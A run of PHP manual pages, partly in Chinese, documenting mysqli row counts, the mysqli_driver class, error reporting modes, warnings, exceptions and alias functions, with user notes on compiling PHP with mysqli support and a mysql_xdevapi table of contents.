mysqli_report(MYSQLI_REPORT_ERROR | MYSQLI_REPORT_STRICT);
$mysqli = new mysqli("localhost", "my_user", "my_password", "world");

$result = $mysqli->query("SELECT Code, Name FROM Country ORDER BY Name");

/* Get the number of rows in the result set */
$row_cnt = $result->num_rows;

printf("Result set has %d rows.\n", $row_cnt);

Example #2 过程化风格

<?php

mysqli_report(MYSQLI_REPORT_ERROR | MYSQLI_REPORT_STRICT);
$link = mysqli_connect("localhost", "my_user", "my_password", "world");

$result = mysqli_query($link, "SELECT Code, Name FROM Country ORDER BY Name");

/* Get the number of rows in the result set */
$row_cnt = mysqli_num_rows($result);

printf("Result set has %d rows.\n", $row_cnt);

以上示例会输出：

Result set has 239 rows.

注释

Note:

In contrast to the mysqli_stmt_num_rows() function, this function doesn't have object-oriented method variant. In the object-oriented style, use the getter property.

参见

  • mysqli_affected_rows() - Gets the number of affected rows in a previous MySQL operation
  • mysqli_store_result() - 传输上次查询的结果集
  • mysqli_use_result() - Initiate a result set retrieval
  • mysqli_query() - 对数据库执行查询
  • mysqli_stmt_num_rows() - Returns the number of rows fetched from the server

User Contributed Notes

min0u 13-May-2017 02:56
This function doesn't work with LIMIT used jointly with SQL_CALC_FOUND_ROWS. If you want to obtain the total rows found you must do it manually, example:

<?php
public function errorList(int $limit=25,int $offset=0){
        $errorList = array();
        $result = $this->con->query("SELECT SQL_CALC_FOUND_ROWS id, erreur FROM Erreurs ORDER BY id DESC LIMIT $limit OFFSET $offset");
        while($row = $result->fetch_assoc()){
            $errorList[] = new Erreur($row);
        }
        $result->free();
        // $foundRows = $result->num_rows; // 25
        $foundRows = $this->con->query("SELECT FOUND_ROWS() as foundRows");
        $this->foundRows = $foundRows->fetch_assoc(); // 178
        return $errorList;
}
?>
justso at inbox dot ru 14-Nov-2015 09:36
in php 5.3.8 had unexpected troubles when checking for mysqli_result::$num_rows
If the result of the query is empty then var_dump of the result will be like this:
class mysqli_result#5 (5) {
  public $current_field => NULL
  public $field_count => NULL
  public $lengths => NULL
  public $num_rows => NULL
  public $type => NULL
}
but var_dump($result->num_rows) will give integer-typed zero instead of NULL:
int(0)
borisigna 07-Aug-2011 08:19
If you have problems making work this num_rows, you have to declare ->store_result() first.

<?php
$mysqli = new mysqli("localhost","root", "", "tables");

$query = $mysqli->prepare("SELECT * FROM table1");
$query->execute();
$query->store_result();

$rows = $query->num_rows;

echo $rows;

// Return 4 for example
?>


mysqli_driver 类

(PHP 5, PHP 7, PHP 8)

简介

mysqli_driver 类是单例模式的实例，即任意数量的 mysqli_driver 实例只访问一个驱动。

类摘要

final class mysqli_driver {
/* 属性 */
public readonly string $client_info;
public readonly int $client_version;
public readonly int $driver_version;
public int $report_mode;
}

属性

client_info

客户端 API 报头版本

client_version

客户端版本

driver_version

MySQLi Driver 版本

Warning

自 PHP 8.1.0 起弃用此属性。强烈不推荐依赖此属性。

embedded

是否开启 MySQLi Embedded 支持

Warning

此属性自 PHP 8.0.0 起移除。

reconnect

允许或阻止重连（查看 mysqli.reconnect INI 指令）

Warning

自 PHP 8.2.0 起，此属性已与 mysqli.reconnect INI 指令一起移除。

report_mode

设置 MYSQLI_REPORT_OFF、MYSQLI_REPORT_ALL 或为 MYSQLI_REPORT_STRICT（错误抛出异常，译注：需要和 MYSQLI_REPORT_ERROR 联合使用）、MYSQLI_REPORT_ERROR（报告错误）和 MYSQLI_REPORT_INDEX（关于索引的错误）的任意组合。参阅mysqli_report()。

更新日志

版本 | 说明
8.2.0 | 移除 mysqli_driver::$reconnect。
8.1.0 | 弃用 mysqli_driver::$driver_version。
8.0.0 | 移除 mysqli_driver::$embedded。
7.4.0 | 移除 mysqli_driver::embedded_server_start() 和 mysqli_driver:embedded_server_end()。

Table of Contents

  • mysqli_driver::embedded_server_end — Stop embedded server
  • mysqli_driver::embedded_server_start — Initialize and start embedded server
  • mysqli_driver::$report_mode — Sets mysqli error reporting mode

User Contributed Notes

There are no user contributed notes for this page.


Stop embedded server

  • ? mysqli_driver
  • mysqli_driver::embedded_server_start ?
  • PHP Manual
  • mysqli_driver
  • Stop embedded server

mysqli_driver::embedded_server_end

mysqli_embedded_server_end

(PHP 5 >= 5.1.0, PHP 7 < 7.4.0)

mysqli_driver::embedded_server_end -- mysqli_embedded_server_end — Stop embedded server

Warning

该函数已在 PHP 7.4.0 中 移除。

说明

面向对象风格

public mysqli_driver::embedded_server_end(): void

过程化风格

mysqli_embedded_server_end(): void
Warning

本函数还未编写文档，仅有参数列表。

User Contributed Notes

There are no user contributed notes for this page.


Initialize and start embedded server

  • ? mysqli_driver::embedded_server_end
  • mysqli_driver::$report_mode ?
  • PHP Manual
  • mysqli_driver
  • Initialize and start embedded server

mysqli_driver::embedded_server_start

mysqli_embedded_server_start

(PHP 5 >= 5.1.0, PHP 7 < 7.4.0)

mysqli_driver::embedded_server_start -- mysqli_embedded_server_start — Initialize and start embedded server

Warning

该函数已在 PHP 7.4.0 中 移除。

说明

面向对象风格

public mysqli_driver::embedded_server_start(int $start, array $arguments, array $groups): bool

过程化风格

mysqli_embedded_server_start(int $start, array $arguments, array $groups): bool
Warning

本函数还未编写文档，仅有参数列表。

User Contributed Notes

There are no user contributed notes for this page.


Sets mysqli error reporting mode

  • ? mysqli_driver::embedded_server_start
  • mysqli_warning ?
  • PHP Manual
  • mysqli_driver
  • Sets mysqli error reporting mode

mysqli_driver::$report_mode

mysqli_report

(PHP 5, PHP 7, PHP 8)

mysqli_driver::$report_mode -- mysqli_report — Sets mysqli error reporting mode

说明

面向对象风格

int $mysqli_driver->report_mode;

过程化风格

mysqli_report(int $flags): bool

Depending on the flags, it sets mysqli error reporting mode to exception, warning or none. When set to MYSQLI_REPORT_ALL or MYSQLI_REPORT_INDEX it will also inform about queries that don't use an index (or use a bad index).

As of PHP 8.1.0, the default setting is MYSQLI_REPORT_ERROR | MYSQLI_REPORT_STRICT. Previously, it was MYSQLI_REPORT_OFF.

参数

flags

Supported flags
Name | Description
MYSQLI_REPORT_OFF | Turns reporting off
MYSQLI_REPORT_ERROR | Report errors from mysqli function calls
MYSQLI_REPORT_STRICT | Throw mysqli_sql_exception for errors instead of warnings
MYSQLI_REPORT_INDEX | Report if no index or bad index was used in a query
MYSQLI_REPORT_ALL | Set all options (report all)

返回值

Returns true.

更新日志

版本 | 说明
8.1.0 | The default value is now MYSQLI_REPORT_ERROR | MYSQLI_REPORT_STRICT. Previously, it was MYSQLI_REPORT_OFF.

示例

Example #1 面向对象风格

<?php

/* activate reporting */
$driver = new mysqli_driver();
$driver->report_mode = MYSQLI_REPORT_ALL;

try {
/* if the connection fails, a mysqli_sql_exception will be thrown */
$mysqli = new mysqli("localhost", "my_user", "my_password", "my_db");

/* this query should report an error */
$result = $mysqli->query("SELECT Name FROM Nonexistingtable WHERE population > 50000");

/* this query should report a bad index if the column population doesn't have an index */
$result = $mysqli->query("SELECT Name FROM City WHERE population > 50000");
} catch (mysqli_sql_exception $e) {
error_log($e->__toString());
}

Example #2 过程化风格

<?php

/* activate reporting */
mysqli_report(MYSQLI_REPORT_ALL);

try {
/* if the connection fails, a mysqli_sql_exception will be thrown */
$link = mysqli_connect("localhost", "my_user", "my_password", "my_db");

/* this query should report an error */
$result = mysqli_query($link, "SELECT Name FROM Nonexistingtable WHERE population > 50000");

/* this query should report a bad index if the column population doesn't have an index */
$result = mysqli_query($link, "SELECT Name FROM City WHERE population > 50000");
} catch (mysqli_sql_exception $e) {
error_log($e->__toString());
}

Example #3 Error reporting except bad index errors

<?php

/* activate reporting */
mysqli_report(MYSQLI_REPORT_ERROR | MYSQLI_REPORT_STRICT);

try {
/* if the connection fails, a mysqli_sql_exception will be thrown */
$mysqli = new mysqli("localhost", "my_user", "my_password", "my_db");

/* this query should report an error */
$result = $mysqli->query("SELECT Name FROM Nonexistingtable WHERE population > 50000");

/* this WILL NOT report any errors even if index is not available */
$result = $mysqli->query("SELECT Name FROM City WHERE population > 50000");
} catch (mysqli_sql_exception $e) {
error_log($e->__toString());
}

参见

  • mysqli_sql_exception
  • set_exception_handler() - 设置用户自定义的异常处理函数
  • error_reporting() - 设置应该报告何种 PHP 错误

User Contributed Notes

welfordmartin at gmail dot com 09-Sep-2020 03:26
As a recommendaton on memory management please don't use the objective way your creating an object to specify one property and thats all your doing with it, much more effective both for the parser and for memory to use the proccedual style for setting the report flag.
nineoclick (atsymbol) gmail (dot) com 16-Jun-2017 10:42
Seems not clear but flags *could be combined*, as per other flags.
For example:

<?php

# wannabe noticed about all errors except those about indexes
$driver = new mysqli_driver();
$driver->report_mode = MYSQLI_REPORT_ALL & ~MYSQLI_REPORT_INDEX;

?>


mysqli_warning 类

(PHP 5, PHP 7, PHP 8)

简介

表示 MySQL 警告。

类摘要

final class mysqli_warning {
/* 属性 */
public string $message;
public string $sqlstate;
public int $errno;
/* 方法 */
private __construct()
public next(): bool
}

属性

message

消息字符串

sqlstate

SQL 状态

errno

错误编号

Table of Contents

  • mysqli_warning::__construct — Private constructor to disallow direct instantiation
  • mysqli_warning::next — Fetch next warning

User Contributed Notes

hlopetz at gmail com 04-Feb-2013 12:51
mysqli_warning::__construct() seems protected according reflection:

== Class: mysqli_warning
Could not construct class mysqli_warning
Message: Access to non-public constructor of class mysqli_warning


Private constructor to disallow direct instantiation

  • ? mysqli_warning
  • mysqli_warning::next ?
  • PHP Manual
  • mysqli_warning
  • Private constructor to disallow direct instantiation

mysqli_warning::__construct

(PHP 5, PHP 7, PHP 8)

mysqli_warning::__construct — Private constructor to disallow direct instantiation

说明

private mysqli_warning::__construct()

参数

此函数没有参数。

User Contributed Notes

There are no user contributed notes for this page.


Fetch next warning

  • ? mysqli_warning::__construct
  • mysqli_sql_exception ?
  • PHP Manual
  • mysqli_warning
  • Fetch next warning

mysqli_warning::next

(PHP 5, PHP 7, PHP 8)

mysqli_warning::next — Fetch next warning

说明

public mysqli_warning::next(): bool

Change warning information to the next warning if possible.

Once the warning has been set to the next warning, new values of properties message, sqlstate and errno of mysqli_warning are available.

参数

此函数没有参数。

返回值

Returns true if next warning was fetched successfully. If there are no more warnings, it will return false

User Contributed Notes

There are no user contributed notes for this page.


mysqli_sql_exception 类

(PHP 5, PHP 7, PHP 8)

简介

mysqli 异常处理类。

类摘要

final class mysqli_sql_exception extends RuntimeException {
/* 属性 */
protected string $sqlstate = "00000";
/* 继承的属性 */
protected string $message = "";
private string $string = "";
protected int $code;
protected string $file = "";
protected int $line;
private array $trace = [];
private ?Throwable $previous = null;
/* 方法 */
public getSqlState(): string
/* 继承的方法 */
public Exception::__construct(string $message = "", int $code = 0, ?Throwable $previous = null)
final public Exception::getMessage(): string
final public Exception::getPrevious(): ?Throwable
final public Exception::getCode(): int
final public Exception::getFile(): string
final public Exception::getLine(): int
final public Exception::getTrace(): array
final public Exception::getTraceAsString(): string
public Exception::__toString(): string
private Exception::__clone(): void
}

属性

sqlstate

出现错误的 sql 状态。

Table of Contents

  • mysqli_sql_exception::getSqlState — Returns the SQLSTATE error code

User Contributed Notes

fibrizo dot raziel at gmail dot com 02-Nov-2015 03:34
<?php  mysqli_report(MYSQLI_REPORT_STRICT) ?>
 was not enough for me to enable exception throwing. I had to write this:
<?php mysqli_report(MYSQLI_REPORT_ERROR | MYSQLI_REPORT_STRICT); ?>


Returns the SQLSTATE error code

  • ? mysqli_sql_exception
  • 别名和过时的 Mysqli 函数 ?
  • PHP Manual
  • mysqli_sql_exception
  • Returns the SQLSTATE error code

mysqli_sql_exception::getSqlState

(PHP 8 >= 8.1.2)

mysqli_sql_exception::getSqlState — Returns the SQLSTATE error code

说明

public mysqli_sql_exception::getSqlState(): string

Returns a string containing the SQLSTATE error code for the last error. The error code consists of five characters. The values are specified by ANSI SQL and ODBC. For a list of possible values, see » http://dev.mysql.com/doc/mysql/en/error-handling.html.

Note:

Note that not all MySQL errors are yet mapped to SQLSTATE's. The value HY000 (general error) is used for unmapped errors.

参数

此函数没有参数。

返回值

Returns a string containing the SQLSTATE error code for the last error. The error code consists of five characters.

User Contributed Notes

There are no user contributed notes for this page.


别名和过时的 Mysqli 函数

Table of Contents

  • mysqli_connect — 别名 mysqli::__construct
  • mysqli::escape_string — 别名 mysqli_real_escape_string
  • mysqli_execute — 别名 mysqli_stmt_execute
  • mysqli_get_client_stats — 返回客户端进程统计信息
  • mysqli_get_links_stats — 返回打开和缓存的链接相关信息
  • mysqli_report — 别名 mysqli_driver->report_mode
  • mysqli::set_opt — 别名 mysqli_options

User Contributed Notes

nulled elitscripts2000 at yahoo dot com 26-Aug-2014 01:00
If you need to install mysqli extension there is no need to recompile PHP5 pr PHP5-fpm...

apt-get install php5-mysqlnd

Will install mysql and mysqli and mysqlnd

If you compile PHP from source then yes add the -use-mysqli in compile config.

This is Debian and Ubuntu.  Or at least Ubuntu.
Daniel Sowden 08-Apr-2008 03:56
I had a problem compiling PHP 5.2.5 with mysqli enabled on Mac OS X. Whether this problem was unique to me I do not no, so I am posting this for anybody else that runs into the same problem. Configure would run right to the end, but I had it telling me something had failed and that it was likely messed up. Upon checking debug.log I noticed this:

dyld: Library not loaded: /usr/local/mysql/lib/mysql/libmysqlclient.15.dylib
Referenced from: /Users/daniel/desktop/php -5.2.5/sapi/cli/php
Reason: image not found
/bin/sh: line 1: /Users/daniel/desktop/php -5.2.5/tmp-php.ini: Permission denied
dyld: Library not loaded: /usr/local/mysql/lib/mysql/libmysqlclient.15.dylib
Referenced from: /Users/daniel/desktop/php -5.2.5/sapi/cli/php
Reason: image not found
make: [test] Error 133 (ignored)

After screwing around for an hour and screaming many profanities at my computer I looked back at the error and noticed:

"/usr/local/mysql/lib/<b>mysql/</b>libmysqlclient.15.dylib

Why it was using this path I do not know, but I headslapped when I realised how simple it was! I solved the problem by creating a link called mysql that linked back on itself:

cd /usr/local/mysql/lib
sudo ln -s ./ mysql

Problem solved! I probably should have figured out why it was doing this instead, but this was easier and saved me from allot more frustration.
marcus at synchromedia dot co dot uk 03-Oct-2007 09:27
For those having trouble getting MySQLi to work, there is another way that is set to become much more common:

http://dev.mysql.com/downloads/connector/php-mysqlnd/

This is the new MySQL native driver which has been backported from PHP6 and replaces MySQLi with a version that doesn't require any local MySQL client libraries or binaries.
neil 10-Feb-2005 02:15
I have spent far too much time finding this answer:

Since PHP5 many many people are having installation problems.  I found many apps were broken when I upgraded to version 5.  I tried to install mysql and mysqli and had problems.

Here's the solution:

After doing:

 ./configure --with-mysql=/path/to/mysql_config --with-mysqli=/path/to/mysql_config

do this:

"
    if you want to use both the old mysql and the new mysqli interface, load the Makefile into your editor and search for the line beginning with EXTRA_LIBS; it includes -lmysqlclient twice; remove the second instance
"

then you can:

make
make install

......
Please note:  the mysql-dev must be installed or you won't have a mysql_config anywhere.  I installed the mysql-dev rpm

Further note:  the information about the Makefile's duplicate instances of "-libmysqlclient" came from Michael Kofler.  Thanks should be directed to him.  He gives more details at the following link:

http://www.kofler.cc/forum/forumthread.php?rootID=3571
php at arwin dot net 02-Feb-2005 03:32
For those having trouble compiling with both --with-mysql AND --with-mysqli, I found a solution at this URL:

http://bugs.php.net/bug.php?id=29860&edit=1

rjanson at msn dot com writes:

OK, finally an answer!

I checked Makefile and found the following line:

EXTRA_LIBS = -lcrypt -lcrypt -lmysqlclient -lpng -lz -lz -lresolv -lm
-ldl -lnsl -lxml2 -
lz -lm -lxml2 -lz -lm -lmysqlclient -lcrypt -lnsl -lm -lz -lnss_files
-lnss_dns -lresolv -lnss_files
 -lnss_dns -lresolv -lxml2 -lz -lm -lcrypt -lxml2 -lz -lm -lcrypt

By removing one of the -lmysqlclient entries on this line I was able to
successfully make and make install with both mysql and mysqli. As
confirmed by phpInfo().

I'm not sure why the other libs have multiple entries and don't cause
make to crash.
Yair Lapin 10-Nov-2004 07:28
I successed to install php support for a mysql 4.1.7 database after several attempts because the instructions are not clear.
I have a server with linux SuSe 9 enterprise with apache 1.3.31. I installed mysql from rpm files, i installed php 4.3.9 as dynamic library. this version database needs its own client library else the mysql functions in php will not work.
configuration must be as following:

./configure --with-msqli=/usr/bin/mysql_config --with-mysql=/usr  --with-apxs=/usr/local/apache/bin/apxs

 Must be installed in your machine the correct mysql librery:

MySQL-devel-4.1.7-0
MySQL-shared-4.1.7-0
nathansquires at pacbell dot net 13-Sep-2004 10:44
If you want to build php with both the Mysql and mysqli extensions, make sure your mysql distribution comes with shared libraries or build mysql yourself with shared libraries. With only static mysql libraries the compile process will fail.
severin dot kacianka at aon dot at 12-Aug-2004 03:55
I tryed Marco Kaiser's way of getting both mysql_* and mysqli_*, but it failed for me. However I could get it working this way:
First of all I installed the MySQL 4.1.3 binary disribution acourding to the manual. Then I simply passed these ./configure arguments:

--with-mysql=/path/to/mysql4.1.3
--with-mysqli=/path/to/mysql4.1.3/bin/mysql_config

This enabled both, the mysql_* and mysqli_* functions.

Severin Kacianka


别名 mysqli::__construct

  • ? 别名和过时的 Mysqli 函数
  • mysqli::escape_string ?
  • PHP Manual
  • 别名和过时的 Mysqli 函数
  • 别名 mysqli::__construct

mysqli_connect

(PHP 5, PHP 7, PHP 8)

mysqli_connect — 别名 mysqli::__construct()

说明

此函数是该函数的别名： mysqli::__construct()

Note:

如果未启用 mysqli 异常模式，并且连接失败，则 mysqli_connect() 返回 false 而不是对象。mysqli_connect_error() 函数可用于获取连接错误。

User Contributed Notes

There are no user contributed notes for this page.


别名 mysqli_real_escape_string

  • ? mysqli_connect
  • mysqli_execute ?
  • PHP Manual
  • 别名和过时的 Mysqli 函数
  • 别名 mysqli_real_escape_string

mysqli::escape_string

mysqli_escape_string

(PHP 5, PHP 7, PHP 8)

mysqli::escape_string -- mysqli_escape_string — 别名 mysqli_real_escape_string()

说明

此函数是该函数的别名： mysqli_real_escape_string().

User Contributed Notes

There are no user contributed notes for this page.


别名 mysqli_stmt_execute

  • ? mysqli::escape_string
  • mysqli_get_client_stats ?
  • PHP Manual
  • 别名和过时的 Mysqli 函数
  • 别名 mysqli_stmt_execute

mysqli_execute

(PHP 5, PHP 7, PHP 8)

mysqli_execute — 别名 mysqli_stmt_execute()

说明

此函数是该函数的别名： 这个函数是 mysqli_stmt_execute() 的一个别名。

注释

Note:

mysqli_execute() 已经被废弃并且将会被移除。

参见

  • mysqli_stmt_execute() - Executes a prepared statement

User Contributed Notes

There are no user contributed notes for this page.


返回客户端进程统计信息

  • ? mysqli_execute
  • mysqli_get_links_stats ?
  • PHP Manual
  • 别名和过时的 Mysqli 函数
  • 返回客户端进程统计信息

mysqli_get_client_stats

(PHP 5 >= 5.3.0, PHP 7, PHP 8)

mysqli_get_client_stats — 返回客户端进程统计信息

说明

mysqli_get_client_stats(): array

返回客户端每个进程的统计信息。

Note:

仅可用于 mysqlnd。

参数

返回值

返回包含客户端状态的数组。

示例

Example #1 A mysqli_get_client_stats() 示例

<?php
$link = mysqli_connect();
print_r(mysqli_get_client_stats());
?>

以上示例的输出类似于：

Array
(
    [bytes_sent] => 43
    [bytes_received] => 80
    [packets_sent] => 1
    [packets_received] => 2
    [protocol_overhead_in] => 8
    [protocol_overhead_out] => 4
    [bytes_received_ok_packet] => 11
    [bytes_received_eof_packet] => 0
    [bytes_received_rset_header_packet] => 0
    [bytes_received_rset_field_meta_packet] => 0
    [bytes_received_rset_row_packet] => 0
    [bytes_received_prepare_response_packet] => 0
    [bytes_received_change_user_packet] => 0
    [packets_sent_command] => 0
    [packets_received_ok] => 1
    [packets_received_eof] => 0
    [packets_received_rset_header] => 0
    [packets_received_rset_field_meta] => 0
    [packets_received_rset_row] => 0
    [packets_received_prepare_response] => 0
    [packets_received_change_user] => 0
    [result_set_queries] => 0
    [non_result_set_queries] => 0
    [no_index_used] => 0
    [bad_index_used] => 0
    [slow_queries] => 0
    [buffered_sets] => 0
    [unbuffered_sets] => 0
    [ps_buffered_sets] => 0
    [ps_unbuffered_sets] => 0
    [flushed_normal_sets] => 0
    [flushed_ps_sets] => 0
    [ps_prepared_never_executed] => 0
    [ps_prepared_once_executed] => 0
    [rows_fetched_from_server_normal] => 0
    [rows_fetched_from_server_ps] => 0
    [rows_buffered_from_client_normal] => 0
    [rows_buffered_from_client_ps] => 0
    [rows_fetched_from_client_normal_buffered] => 0
    [rows_fetched_from_client_normal_unbuffered] => 0
    [rows_fetched_from_client_ps_buffered] => 0
    [rows_fetched_from_client_ps_unbuffered] => 0
    [rows_fetched_from_client_ps_cursor] => 0
    [rows_skipped_normal] => 0
    [rows_skipped_ps] => 0
    [copy_on_write_saved] => 0
    [copy_on_write_performed] => 0
    [command_buffer_too_small] => 0
    [connect_success] => 1
    [connect_failure] => 0
    [connection_reused] => 0
    [reconnect] => 0
    [pconnect_success] => 0
    [active_connections] => 1
    [active_persistent_connections] => 0
    [explicit_close] => 0
    [implicit_close] => 0
    [disconnect_close] => 0
    [in_middle_of_command_close] => 0
    [explicit_free_result] => 0
    [implicit_free_result] => 0
    [explicit_stmt_close] => 0
    [implicit_stmt_close] => 0
    [mem_emalloc_count] => 0
    [mem_emalloc_ammount] => 0
    [mem_ecalloc_count] => 0
    [mem_ecalloc_ammount] => 0
    [mem_erealloc_count] => 0
    [mem_erealloc_ammount] => 0
    [mem_efree_count] => 0
    [mem_malloc_count] => 0
    [mem_malloc_ammount] => 0
    [mem_calloc_count] => 0
    [mem_calloc_ammount] => 0
    [mem_realloc_count] => 0
    [mem_realloc_ammount] => 0
    [mem_free_count] => 0
    [proto_text_fetched_null] => 0
    [proto_text_fetched_bit] => 0
    [proto_text_fetched_tinyint] => 0
    [proto_text_fetched_short] => 0
    [proto_text_fetched_int24] => 0
    [proto_text_fetched_int] => 0
    [proto_text_fetched_bigint] => 0
    [proto_text_fetched_decimal] => 0
    [proto_text_fetched_float] => 0
    [proto_text_fetched_double] => 0
    [proto_text_fetched_date] => 0
    [proto_text_fetched_year] => 0
    [proto_text_fetched_time] => 0
    [proto_text_fetched_datetime] => 0
    [proto_text_fetched_timestamp] => 0
    [proto_text_fetched_string] => 0
    [proto_text_fetched_blob] => 0
    [proto_text_fetched_enum] => 0
    [proto_text_fetched_set] => 0
    [proto_text_fetched_geometry] => 0
    [proto_text_fetched_other] => 0
    [proto_binary_fetched_null] => 0
    [proto_binary_fetched_bit] => 0
    [proto_binary_fetched_tinyint] => 0
    [proto_binary_fetched_short] => 0
    [proto_binary_fetched_int24] => 0
    [proto_binary_fetched_int] => 0
    [proto_binary_fetched_bigint] => 0
    [proto_binary_fetched_decimal] => 0
    [proto_binary_fetched_float] => 0
    [proto_binary_fetched_double] => 0
    [proto_binary_fetched_date] => 0
    [proto_binary_fetched_year] => 0
    [proto_binary_fetched_time] => 0
    [proto_binary_fetched_datetime] => 0
    [proto_binary_fetched_timestamp] => 0
    [proto_binary_fetched_string] => 0
    [proto_binary_fetched_blob] => 0
    [proto_binary_fetched_enum] => 0
    [proto_binary_fetched_set] => 0
    [proto_binary_fetched_geometry] => 0
    [proto_binary_fetched_other] => 0
)

参见

  • 统计信息描述

User Contributed Notes

There are no user contributed notes for this page.


返回打开和缓存的链接相关信息

  • ? mysqli_get_client_stats
  • mysqli_report ?
  • PHP Manual
  • 别名和过时的 Mysqli 函数
  • 返回打开和缓存的链接相关信息

mysqli_get_links_stats

(PHP 5 >= 5.6.0, PHP 7, PHP 8)

mysqli_get_links_stats — 返回打开和缓存的链接相关信息

说明

mysqli_get_links_stats(): array

mysqli_get_links_stats() 返回已经打开和缓存的MySQL链接的相关信息。

参数

此函数没有参数。

返回值

mysqli_get_links_stats() 返回一个有三个元素的关联数组, 键如下:

total

类型 int 所有状态链接的总数

active_plinks

类型 int 不活跃的持久链接数

cached_plinks

类型 int 不活跃的持久链接数

User Contributed Notes

There are no user contributed notes for this page.


别名 mysqli_driver->report_mode

  • ? mysqli_get_links_stats
  • mysqli::set_opt ?
  • PHP Manual
  • 别名和过时的 Mysqli 函数
  • 别名 mysqli_driver->report_mode

mysqli_report

(PHP 5, PHP 7, PHP 8)

mysqli_report — 别名 mysqli_driver->report_mode

说明

此函数是该函数的别名： mysqli_driver->report_mode

User Contributed Notes

sethVoid@thevoid 12-Sep-2022 10:29
If you use your own DBException handling for example

<?php
if (!@real_connect(HOST, USERNAME, PASSWORD, NAME, PORT))
{
    throw new DBException(connect_errno);
}
?>

Then turn off errors like this for php 8 >

<?php
    mysqli_report(MYSQLI_REPORT_OFF);
?>
grepmaster 22-Mar-2009 05:51
Hint: If you use

mysqli_report(MYSQLI_REPORT_ALL ^ MYSQLI_REPORT_STRICT)

normal errors are generated instead of exceptions.
Polarina 10-Nov-2007 03:08
It should be noted that all reports made by this function, are sent through an exception named 'mysqli_sql_exception' instead of a normal PHP warning.


别名 mysqli_options

  • ? mysqli_report
  • 更新日志 ?
  • PHP Manual
  • 别名和过时的 Mysqli 函数
  • 别名 mysqli_options

mysqli::set_opt

mysqli_set_opt

(PHP 5, PHP 7, PHP 8)

mysqli::set_opt -- mysqli_set_opt — 别名 mysqli_options()

说明

此函数是该函数的别名： 这个函数是 mysqli_options() 的一个别名。

User Contributed Notes

There are no user contributed notes for this page.


更新日志

对本扩展的类／函数／方法有以下更新。

Version Function Description

User Contributed Notes

There are no user contributed notes for this page.


Mysql_xdevapi

  • 简介
  • 安装/配置
    • 需求
    • 安装
    • 运行时配置
    • Building / Compiling From Source
  • 预定义常量
  • 更新日志
  • 示例
  • Mysql_xdevapi 函数
    • expression — Bind prepared statement variables as parameters
    • getSession — Connect to a MySQL server
  • mysql_xdevapi\BaseResult — BaseResult interface
    • BaseResult::getWarnings — Fetch warnings from last operation
    • BaseResult::getWarningsCount — Fetch warning count from last operation
  • mysql_xdevapi\Client — Client class
    • mysql_xdevapi\Client::close — Close client
    • Client::__construct — Client constructor
    • Client::getClient — Get client session
  • mysql_xdevapi\Collection — Collection class
    • Collection::add — Add collection document
    • Collection::addOrReplaceOne — Add or replace collection document
    • Collection::__construct — Collection constructor
    • Collection::count — Get document count
    • Collection::createIndex — Create collection index
    • Collection::dropIndex — Drop collection index
    • Collection::existsInDatabase — Check if collection exists in database
    • Collection::find — Search for document
    • Collection::getName — Get collection name
    • Collection::getOne — Get one document
    • Collection::getSchema — Get schema object
    • Collection::getSession — Get session object
    • Collection::modify — Modify collection documents
    • Collection::remove — Remove collection documents
    • Collection::removeOne — Remove one collection document
    • Collection::replaceOne — Replace one collection document
  • mysql_xdevapi\CollectionAdd — CollectionAdd class
    • CollectionAdd::__construct — CollectionAdd constructor
    • CollectionAdd::execute — Execute the statement
  • mysql_xdevapi\CollectionFind — CollectionFind class
    • CollectionFind::bind — Bind value to query placeholder
    • CollectionFind::__construct — CollectionFind constructor
    • CollectionFind::execute — Execute the statement
    • CollectionFind::fields — Set document field filter
    • CollectionFind::groupBy — Set grouping criteria
    • CollectionFind::having — Set condition for aggregate functions
    • CollectionFind::limit — Limit number of returned documents
    • CollectionFind::lockExclusive — Execute operation with EXCLUSIVE LOCK
    • CollectionFind::lockShared — Execute operation with SHARED LOCK
    • CollectionFind::offset — Skip given number of elements to be returned
    • CollectionFind::sort — Set the sorting criteria
  • mysql_xdevapi\CollectionModify — CollectionModify class
    • CollectionModify::arrayAppend — Append element to an array field
    • CollectionModify::arrayInsert — Insert element into an array field
    • CollectionModify::bind — Bind value to query placeholder
    • CollectionModify::__construct — CollectionModify constructor
    • CollectionModify::execute — Execute modify operation
    • CollectionModify::limit — Limit number of modified documents
    • CollectionModify::patch — Patch document
    • CollectionModify::replace — Replace document field
    • CollectionModify::set — Set document attribute
    • CollectionModify::skip — Skip elements
    • CollectionModify::sort — Set the sorting criteria
    • CollectionModify::unset — Unset the value of document fields
  • mysql_xdevapi\CollectionRemove — CollectionRemove class
    • CollectionRemove::bind — Bind value to placeholder
    • CollectionRemove::__construct — CollectionRemove constructor
    • CollectionRemove::execute — Execute remove operation
    • CollectionRemove::limit — Limit number of documents to remove
    • CollectionRemove::sort — Set the sorting criteria
  • mysql_xdevapi\ColumnResult — ColumnResult class
    • ColumnResult::__construct — ColumnResult constructor
    • ColumnResult::getCharacterSetName — Get character set
    • ColumnResult::getCollationName — Get collation name
    • ColumnResult::getColumnLabel — Get column label
    • ColumnResult::getColumnName — Get column name
    • ColumnResult::getFractionalDigits — Get fractional digit length
    • ColumnResult::getLength — Get column field length
    • ColumnResult::getSchemaName — Get schema name
    • ColumnResult::getTableLabel — Get table label
    • ColumnResult::getTableName — Get table name
    • ColumnResult::getType — Get column type
    • ColumnResult::isNumberSigned — Check if signed type
    • ColumnResult::isPadded — Check if padded
  • mysql_xdevapi\CrudOperationBindable — CrudOperationBindable interface
    • CrudOperationBindable::bind — Bind value to placeholder
  • mysql_xdevapi\CrudOperationLimitable — CrudOperationLimitable interface
    • CrudOperationLimitable::limit — Set result limit
  • mysql_xdevapi\CrudOperationSkippable — CrudOperationSkippable interface
    • CrudOperationSkippable::skip — Number of operations to skip
  • mysql_xdevapi\CrudOperationSortable — CrudOperationSortable interface
    • CrudOperationSortable::sort — Sort results
  • mysql_xdevapi\DatabaseObject — DatabaseObject interface
    • DatabaseObject::existsInDatabase — Check if object exists in database
    • DatabaseObject::getName — Get object name
    • DatabaseObject::getSession — Get session name
  • mysql_xdevapi\DocResult — DocResult class
    • DocResult::__construct — DocResult constructor
    • DocResult::fetchAll — Get all rows
    • DocResult::fetchOne — Get one row
    • DocResult::getWarnings — Get warnings from last operation
    • DocResult::getWarningsCount — Get warning count from last operation
  • mysql_xdevapi\Exception — Exception class
  • mysql_xdevapi\Executable — Executable interface
    • Executable::execute — Execute statement
  • mysql_xdevapi\ExecutionStatus — ExecutionStatus class
    • ExecutionStatus::__construct — ExecutionStatus constructor
  • mysql_xdevapi\Expression — Expression class
    • Expression::__construct — Expression constructor
  • mysql_xdevapi\Result — Result class
    • Result::__construct — Result constructor
